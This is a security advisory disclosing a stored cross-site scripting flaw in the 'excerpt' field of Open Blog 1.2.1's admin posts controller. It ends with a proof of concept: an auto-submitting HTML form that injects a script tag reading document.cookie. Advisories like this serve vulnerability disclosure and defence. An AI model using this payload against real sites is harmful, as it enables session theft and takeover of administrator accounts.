XSS vulnerability in Open blog

Vulnerability ID: HTB22497
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog.html
Product: Open Blog
Vendor: Tomaz Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/application/modules/admin/controllers/posts.php" script to properly sanitize user-supplied input in "excerpt" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/posts/edit&quot; method="post" >
<input type="hidden" name="title" value="Welcome to Open Blog" />
<input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="content" value="" />
<input type="hidden" name="categories[]" value="1" />
<input type="hidden" name="tags" value="openblog" />
<input type="hidden" name="publish_date" value="13/07/2010" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>